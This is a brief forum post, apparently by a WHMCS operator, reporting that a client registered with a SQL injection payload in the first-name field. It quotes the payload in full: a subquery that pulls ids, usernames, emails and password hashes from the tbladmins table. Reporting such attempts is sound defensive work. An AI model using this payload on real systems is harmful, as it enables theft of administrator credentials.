WHMCS Another Exploit?

Today 1 client register with this first name

First Name: 'Mark' to 'AES_ENCRYPT(1,1), firstname=(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)'

May be this user wanted admin access thats why trying to insert tbladmin table.